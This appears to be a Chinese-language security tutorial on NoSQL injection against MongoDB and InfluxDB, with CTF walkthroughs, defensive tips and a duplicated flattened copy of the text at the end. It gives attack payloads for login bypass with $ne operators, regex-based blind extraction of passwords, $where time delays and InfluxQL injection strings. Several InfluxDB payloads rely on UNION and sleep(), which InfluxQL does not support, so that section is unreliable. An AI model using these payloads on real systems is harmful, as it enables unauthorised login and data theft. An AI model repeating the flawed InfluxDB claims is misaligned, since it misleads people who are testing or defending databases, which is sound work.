NoSQL 从0到1(MongoDB and InfluxDB)
字数 840 2025-08-18 17:33:08

NoSQL注入从0到1:MongoDB与InfluxDB实战指南

1. NoSQL数据库概述

NoSQL数据库与传统SQL数据库的主要区别:

  • 非关系型数据模型
  • 无固定表结构
  • 水平可扩展性
  • 高性能读写
  • 弱一致性或最终一致性

2. MongoDB注入技术

2.1 MongoDB基础查询语法

// 基本查询
db.users.find({username: "admin"})

// 条件查询
db.users.find({age: {$gt: 18}})

// 逻辑操作
db.users.find({$or: [{age: {$lt: 18}}, {age: {$gt: 65}}]})

2.2 MongoDB注入原理

当应用程序直接将用户输入拼接到查询中时,可能导致注入:

// 不安全代码示例
db.users.find({username: req.body.username, password: req.body.password})

2.3 常见注入技术

2.3.1 绕过认证

// 用户输入
username: admin
password: {$ne: ""}

// 生成查询
db.users.find({username: "admin", password: {$ne: ""}})

2.3.2 布尔盲注

// 判断条件是否为真
username: admin
password: {$regex: "^a"}

// 判断管理员用户是否存在
username: {$regex: "^admin$"}

2.3.3 时间盲注

// 使用$where和sleep函数
username: admin
password: {$where: "function(){sleep(5000); return true}"}

2.3.4 提取数据

// 逐步提取密码字符
username: admin
password: {$regex: "^a.*"}
password: {$regex: "^ab.*"}
// 依此类推...

2.4 防御措施

  1. 使用参数化查询
  2. 使用ORM/ODM库(如Mongoose)
  3. 输入验证和过滤
  4. 最小权限原则

3. InfluxDB注入技术

3.1 InfluxDB基础查询语法

-- 基本查询
SELECT * FROM "measurement" WHERE "tag" = 'value'

-- 条件查询
SELECT * FROM "cpu" WHERE "usage" > 90

-- 时间范围查询
SELECT * FROM "network" WHERE time > now() - 1h

3.2 InfluxDB注入原理

当应用程序直接将用户输入拼接到InfluxQL查询中时:

-- 不安全代码示例
query = `SELECT * FROM "metrics" WHERE "host" = '${userInput}'`

3.3 常见注入技术

3.3.1 注释绕过

-- 用户输入
host' OR 1=1 --
-- 生成查询
SELECT * FROM "metrics" WHERE "host" = 'host' OR 1=1 --'

3.3.2 联合查询

-- 用户输入
host' UNION SELECT * FROM "users" --
-- 生成查询
SELECT * FROM "metrics" WHERE "host" = 'host' UNION SELECT * FROM "users" --'

3.3.3 布尔盲注

-- 用户输入
host' AND "value" > 100 --
-- 通过响应差异判断条件真假

3.3.4 时间盲注

-- 用户输入
host' AND (SELECT count(*) FROM "users") > 0 AND sleep(5) --

3.4 防御措施

  1. 使用参数化查询
  2. 使用InfluxDB客户端库
  3. 限制查询权限
  4. 输入验证和转义

4. CTF实战案例

4.1 MongoDB注入挑战

题目描述:登录页面,需要绕过认证获取flag。

解题步骤

  1. 分析登录请求
  2. 尝试JSON注入
  3. 构造绕过查询
  4. 获取flag

Payload示例

{
  "username": {"$ne": ""},
  "password": {"$ne": ""}
}

4.2 InfluxDB注入挑战

题目描述:监控系统查询接口,需要提取敏感数据。

解题步骤

  1. 识别InfluxQL注入点
  2. 尝试联合查询
  3. 枚举measurement名称
  4. 提取flag数据

Payload示例

host' UNION SELECT * FROM "flags" --

5. 总结

NoSQL注入相比SQL注入有以下特点:

  1. 语法差异大,不同数据库有不同注入方式
  2. 通常基于操作符和JSON/查询语言结构
  3. 防御措施需要针对特定数据库实现
  4. 工具支持较少,常需要手动测试

安全建议:

  1. 永远不要信任用户输入
  2. 使用数据库提供的安全查询方法
  3. 实施最小权限原则
  4. 定期进行安全审计和渗透测试
NoSQL注入从0到1:MongoDB与InfluxDB实战指南 1. NoSQL数据库概述 NoSQL数据库与传统SQL数据库的主要区别: 非关系型数据模型 无固定表结构 水平可扩展性 高性能读写 弱一致性或最终一致性 2. MongoDB注入技术 2.1 MongoDB基础查询语法 2.2 MongoDB注入原理 当应用程序直接将用户输入拼接到查询中时,可能导致注入: 2.3 常见注入技术 2.3.1 绕过认证 2.3.2 布尔盲注 2.3.3 时间盲注 2.3.4 提取数据 2.4 防御措施 使用参数化查询 使用ORM/ODM库(如Mongoose) 输入验证和过滤 最小权限原则 3. InfluxDB注入技术 3.1 InfluxDB基础查询语法 3.2 InfluxDB注入原理 当应用程序直接将用户输入拼接到InfluxQL查询中时: 3.3 常见注入技术 3.3.1 注释绕过 3.3.2 联合查询 3.3.3 布尔盲注 3.3.4 时间盲注 3.4 防御措施 使用参数化查询 使用InfluxDB客户端库 限制查询权限 输入验证和转义 4. CTF实战案例 4.1 MongoDB注入挑战 题目描述 :登录页面,需要绕过认证获取flag。 解题步骤 : 分析登录请求 尝试JSON注入 构造绕过查询 获取flag Payload示例 : 4.2 InfluxDB注入挑战 题目描述 :监控系统查询接口,需要提取敏感数据。 解题步骤 : 识别InfluxQL注入点 尝试联合查询 枚举measurement名称 提取flag数据 Payload示例 : 5. 总结 NoSQL注入相比SQL注入有以下特点: 语法差异大,不同数据库有不同注入方式 通常基于操作符和JSON/查询语言结构 防御措施需要针对特定数据库实现 工具支持较少,常需要手动测试 安全建议: 永远不要信任用户输入 使用数据库提供的安全查询方法 实施最小权限原则 定期进行安全审计和渗透测试